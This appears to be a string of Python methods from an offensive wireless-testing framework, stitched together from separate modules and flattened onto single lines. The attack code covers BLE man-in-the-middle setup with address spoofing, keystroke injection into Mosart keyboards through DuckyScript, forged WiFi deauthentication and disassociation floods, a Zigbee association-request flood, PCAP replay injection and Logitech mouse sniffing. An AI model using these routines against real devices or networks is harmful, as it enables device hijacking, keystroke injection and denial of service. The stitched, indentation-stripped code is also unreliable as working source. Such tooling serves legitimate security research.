def initEmittersAndReceivers(self): if self.args["MITM_STRATEGY"] == "injection" and "butterfly" in self.args["INTERFACE"]: sniffModule = utils.loadModule("ble_sniff") sniffModule["INTERFACE"] = self.args["INTERFACE"] sniffModule["SNIFFING_MODE"] = "newConnections" sniffModule["TARGET"] = self.args["TARGET"] sniffModule["MITMING"] = "yes" output = sniffModule.execute() if not output["success"]: return False else: self.args["INTERFACE1"] = output["output"]["INTERFACE1"] self.args["INTERFACE2"] = output["output"]["INTERFACE2"] attackerToSlaveInterface = self.args["INTERFACE1"] attackerToMasterInterface = self.args["INTERFACE2"] self.a2sEmitter = self.getEmitter(interface=attackerToSlaveInterface) self.a2sReceiver = self.getReceiver(interface=attackerToSlaveInterface) self.a2mEmitter = self.getEmitter(interface=attackerToMasterInterface) self.a2mReceiver = self.getReceiver(interface=attackerToMasterInterface) if self.args["MITM_STRATEGY"] != "injection": if not self.a2mEmitter.isAddressChangeable() and utils.booleanArg(self.args["SLAVE_SPOOFING"]): io.warning("Interface "+attackerToMasterInterface+" is not able to change its address : " "Address spoofing will not be enabled !") return True
def set(self,name,value): ''' This method allows to provide a value for a specific input parameter of the loaded module. :param name: parameter's name :type name: str :param value: value of parameter :type value: str :Example: >>> app.set("INTERFACE","hci0") >>> app.set("ble_connect1.INTERFACE", "hci0") ''' if len(self.modules) == 0: io.fail("No modules loaded !") elif len(self.modules) == 1: if self.modules[0]["module"] is not None: if self.modules[0]["module"].dynamicArgs or name in self.modules[0]["module"].args: self.modules[0]["module"].args[name] = value else: if "." in name: (moduleName,argName) = name.split(".") for module in self.modules: if module["module"] is not None: if moduleName == module["name"] and ( module["module"].dynamicArgs or argName in module["module"].args ): module["module"].args[argName] = value else: io.warning("You must provide a module name !")
def sniffExistingConnections(self, accessAddress=None, crcInit=None, channelMap=None): ''' This method starts the existing connections sniffing mode. :param accessAddress: selected Access Address - if not provided, the parameter is recovered :type address: int :param crcInit: selected CRCInit - if not provided, the parameter is recovered :type crcInit: int :param channelMap: selected Channel Map - if not provided, the parameter is recovered :type channelMap: int :Example: >>> device.sniffExistingConnections() >>> device.sniffExistingConnections(accessAddress=0xe5e296e9) >>> device.sniffAdvertisements(accessAddress=0xe5e296e9, crcInit=0x0bd54a) >>> device.sniffAdvertisements(accessAddress=0xe5e296e9, crcInit=0x0bd54a, channelMap=0x1fffffffff) .. warning:: Please note the following warnings : * Ubertooth is actually not able to set CRC Init value and uses a full Channel Map (0x1fffffffff). This parameters are provided in order to provide the same API for Ubertooth and BTLEJack devices. * If no access address is provided, Ubertooth tries to get multiple candidate access addresses and select the most probable address .. note:: This method is a **shared method** and can be called from the corresponding Emitters / Receivers. ''' self.sniffingMode = BLESniffingMode.EXISTING_CONNECTION self.synchronized = False self.lock.acquire() self._stop() if self.jamming: self._setJamMode(JAM_CONTINUOUS) else: self._setJamMode(JAM_NONE) self._setCRCChecking(False) if accessAddress is not None: self._setAccessAddress(accessAddress) else: self._setTarget("00:00:00:00:00:00") if crcInit is not None: io.warning( "Ubertooth is not able to set CrcInit value ! Parameter will be ignored." ) if channelMap is not None: io.warning( "Ubertooth uses full channel map : 0x1fffffffff. Parameter will be ignored." ) self._start() self.lock.release()
def run(self): self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) if self.checkCapabilities(): self.receiver.enterSnifferMode( utils.addressArg(self.args["TARGET"])) if self.checkInjectionSyncCapabilities(): if utils.booleanArg(self.args["SYNC"]): self.receiver.enableSync() else: self.receiver.disableSync() else: io.warning( "Synchronized injection is not supported by this interface, the SYNC parameter will be ignored ..." ) self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) if self.args["TEXT"] != "": keystrokes = self.addMosartText(self.args["TEXT"]) self.emitter.sendp(*keystrokes) while not self.emitter.isTransmitting(): utils.wait(seconds=0.1) while self.emitter.isTransmitting(): utils.wait(seconds=0.1) elif self.args["DUCKYSCRIPT"] != "": parser = DuckyScriptParser(filename=self.args["DUCKYSCRIPT"]) keystrokes = parser.generatePackets( textFunction=self.addMosartText, initFunction=self.startMosartInjection, keyFunction=self.addMosartKeystroke, sleepFunction=self.addMosartDelay) self.emitter.sendp(*keystrokes) while not self.emitter.isTransmitting(): utils.wait(seconds=0.1) while self.emitter.isTransmitting(): utils.wait(seconds=0.1) elif utils.booleanArg(self.args["INTERACTIVE"]): self.stop = False self.watchKeyboard() while not self.stop: utils.wait(seconds=0.5) return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to inject frames and run in sniffing mode.") return self.nok()
def initEmittersAndReceivers(self): attackerToSlaveInterface = self.args["INTERFACE1"] attackerToMasterInterface = self.args["INTERFACE2"] self.a2sEmitter = self.getEmitter(interface=attackerToSlaveInterface) self.a2sReceiver = self.getReceiver(interface=attackerToSlaveInterface) self.a2mEmitter = self.getEmitter(interface=attackerToMasterInterface) self.a2mReceiver = self.getReceiver( interface=attackerToMasterInterface) if not self.a2mEmitter.isAddressChangeable() and utils.booleanArg( self.args["SLAVE_SPOOFING"]): io.warning("Interface " + attackerToMasterInterface + " is not able to change its address : " "Address spoofing will not be enabled !")
def run(self): self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) if self.checkCapabilities(): if not utils.isNumber(self.args["CHANNEL"]): io.fail("You must provide a channel number.") return self.nok() if self.args["TARGET"] == "": io.warning( "No target provided, the attack is performed in broadcast." ) self.target = "FF:FF:FF:FF:FF:FF" else: io.info("Target provided: " + str(self.args["TARGET"])) self.target = self.args["TARGET"].upper() if self.args["SOURCE"] == "": io.fail("You must provide a source address.") return self.nok() else: self.source = self.args["SOURCE"].upper() if utils.isNumber(self.args["REASON"]): self.reason = utils.integerArg(self.args["REASON"]) else: io.fail("You must provide a reason number.") return self.nok() self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) # We forge the deauthentication and disassociation packet, while spoofing the client's MAC self.deauth_packet = wifi.WifiDeauth(destMac=self.target, srcMac=self.source, reason=self.reason) self.disas_packet = wifi.WifiDisas(destMac=self.target, srcMac=self.source, reason=self.reason) self.send_deauth() return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to run in monitor mode.") return self.nok()
def setAdvertisingParameters(self,type = "ADV_IND",destAddr = "00:00:00:00:00:00",data = b"",intervalMin = 200, intervalMax = 210, daType='public', oaType='public'): ''' This method sets advertising parameters according to the data provided. It will mainly be used by *ADV_IND-like* packets. :param type: type of advertisement (*available values :* "ADV_IND", "ADV_DIRECT_IND", "ADV_SCAN_IND", "ADV_NONCONN_IND", "ADV_DIRECT_IND_LOW") :type type: str :param destAddress: destination address (it will be used if needed) :type destAddress: str :param data: data included in the payload :type data: bytes :param intervalMin: minimal interval :type intervalMin: int :param intervalMax: maximal interval :type intervalMax: int :param daType: string indicating the destination address type ("public" or "random") :type daType: str :param oaType: string indicating the origin address type ("public" or "random") .. note:: This method is a **shared method** and can be called from the corresponding Emitters / Receivers. ''' self.setScan(enable=False) if type == "ADV_IND": self.advType = ADV_IND elif type == "ADV_DIRECT_IND": self.advType = ADV_DIRECT_IND elif type == "ADV_SCAN_IND": self.advType = ADV_SCAN_IND elif type == "ADV_NONCONN_IND": self.advType = ADV_NONCONN_IND elif type == "ADV_DIRECT_IND_LOW": self.advType = ADV_DIRECT_IND_LOW else: io.fail("Advertisements type not recognized, using ADV_IND.") self.advType = ADV_IND self.destAddress = None if destAddr == "00:00:00:00:00:00" else destAddr self.advData = data self.daType = daType self.oaType = oaType self.intervalMin = intervalMin self.intervalMax = intervalMax io.warning("Advertising interval will be ignored")
def setScanningParameters(self, data): ''' This method sets scanning parameters according to the data provided. It will mainly be used by *SCAN_RESP* packets. :param data: data to use in *SCAN_RESP* :type data: bytes .. warning:: This method does nothing, it allows to provides the same API as the HCI Device. .. note:: This method is a **shared method** and can be called from the corresponding Emitters / Receivers. ''' io.warning("Scanning not supported, this operation will be ignored")
def run(self): self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) if self.checkCapabilities(): self.receiver.enterSnifferMode( utils.addressArg(self.args["TARGET"])) if self.checkInjectionSyncCapabilities(): if utils.booleanArg(self.args["SYNC"]): self.receiver.enableSync() else: self.receiver.disableSync() else: io.warning( "Synchronized injection is not supported by this interface, the SYNC parameter will be ignored ..." ) self.pcapReceiver = self.getReceiver( interface=self.args["PCAP_FILE"]) self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) io.info("Extracting packet stream from PCAP ...") stream = self.pcapReceiver.generateStream() io.success("Packet stream successfully extracted !") io.info("Injecting ...") self.emitter.sendp(*stream) while not self.emitter.isTransmitting(): utils.wait(seconds=0.1) while self.emitter.isTransmitting(): utils.wait(seconds=0.1) io.success("Injection done !") return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to inject frames and run in sniffing mode.") return self.nok()
def setSweepingMode(self, enable=True, sequence=[37, 38, 39]): ''' This method allows to enable or disable the Sweeping mode. It allows to provide a subset of advertising channels to monitor sequentially. :param enable: boolean indicating if the Sweeping mode is enabled. :type enable: bool :param sequence: sequence of channels to use :type sequence: list of int .. note:: This method is a **shared method** and can be called from the corresponding Emitters / Receivers. ''' self.sweepingMode = enable if enable: if 37 not in sequence or 38 not in sequence or 39 not in sequence: io.warning( "Sniffle doesn't support the sweeping mode with a subset of channels: all three advertising channels are selected." ) self.sweepingSequence = [37, 38, 39]
def _createSocket(self): self.socket = None try: self.socket = BluetoothUserSocket(self.adapter) except BluetoothSocketError as e: if not utils.isRoot(): io.warning( "Mirage should be run as root to instanciate this device !" ) return False else: HCIConfig.down(self.adapter) try: self.socket = BluetoothUserSocket(self.adapter) except BluetoothSocketError as e: io.fail("Error during HCI device instanciation !") return False if self.socket is not None: io.success("HCI Device (" + self.interface + ") successfully instanciated !") self.ready = True return True return False
def run(self): self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) if self.checkCapabilities(): self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) if self.args["TARGET_PANID"] == "": io.fail("You must specify a target Pan ID.") return self.nok() self.panid = utils.integerArg(self.args["TARGET_PANID"]) io.info("PanID selected: 0x"+"{:04x}".format(self.panid).upper()) if self.args["TARGET"] != "": self.target = utils.integerArg(self.args["TARGET"]) else: io.warning("No target specified, Beacon Requests will be transmitted in order to discover the coordinator...") self.target = None while self.target is None: self.emitter.sendp(zigbee.ZigbeeBeaconRequest(sequenceNumber=1,destPanID=self.panid,destAddr=0xFFFF)) pkt = self.receiver.next(timeout=1) if isinstance(pkt,zigbee.ZigbeeBeacon) and pkt.coordinator and pkt.srcPanID == self.panid: self.target = pkt.srcAddr io.info("Coordinator selected: "+zigbee.addressToString(self.target)) while True: address = random.randint(0,0xFFFF) io.info("New address: "+zigbee.addressToString(address)) self.emitter.sendp(zigbee.ZigbeeAssociationRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=1,deviceType=True,srcPanID=0xFFFF)) self.emitter.sendp(zigbee.ZigbeeDataRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=2)) utils.wait(seconds=2) return self.ok() else: io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to communicate as a Zigbee device.") return self.nok()
def run(self): self.pcap = None self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) self.receiver.onEvent("*", callback=self.show) self.receiver.onEvent("ESBLogitechMousePacket", callback=self.addMouseData) self.target = "FF:FF:FF:FF:FF" if self.args[ "TARGET"] == "" else self.args["TARGET"].upper() if self.target == "FF:FF:FF:FF:FF": if self.checkPromiscuousSniffingCapabilities(): io.info( "Promiscuous mode enabled ! Only a subset of frames will be sniffed." ) self.receiver.enterPromiscuousMode() if utils.booleanArg(self.args["ACTIVE_SCAN"]): io.warning( "Active scanning not compatible with promiscuous mode, ACTIVE parameter will be ignored." ) self.activeMode = False else: self.activeMode = utils.booleanArg( self.args["ACTIVE_SCAN"]) else: io.fail( "Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to sniff packets in promiscuous mode, you have to provide a specific target." ) return self.nok() else: if self.checkNormalSniffingCapabilities(): io.info("Sniffing mode enabled !") self.receiver.enterSnifferMode(address=self.target) if utils.booleanArg(self.args["ACK_PACKETS"]): io.warning( "ACK cannot be sniffed in sniffing mode, ACK_PACKETS parameter will be ignored." ) self.activeMode = utils.booleanArg(self.args["ACTIVE_SCAN"]) else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to sniff packets.") return self.nok() if self.args["PCAP_FILE"] != "": self.pcap = self.getEmitter(interface=self.args["PCAP_FILE"]) channelsTimeout = float( self.args["CHANNEL_TIMEOUT"] ) if self.args["CHANNEL_TIMEOUT"] != "" else None if self.activeMode and not self.checkActiveScanningCapabilities(): io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to perform an active scan.") return self.nok() self.generateChannels() self.searchChannel() time = utils.integerArg( self.args['TIME']) if self.args["TIME"] != "" else None start = utils.now() while utils.now() - start <= time if time is not None else True: if ((utils.now() - self.lastReceivedFrameTimestamp >= channelsTimeout) if (channelsTimeout is not None and self.lastReceivedFrameTimestamp is not None) else False): io.fail("Channel lost...") if self.args["LOST_STREAM_ACTION"].lower() == "continue": self.searchChannel() else: break self.receiver.removeCallbacks() if self.pcap is not None: self.pcap.stop() output = {} output["MOUSE_FILE"] = self.args["MOUSE_FILE"] output["PCAP_FILE"] = self.args["PCAP_FILE"] output["TARGET"] = self.target output["CHANNEL"] = str(int(self.receiver.getChannel())) return self.ok(output)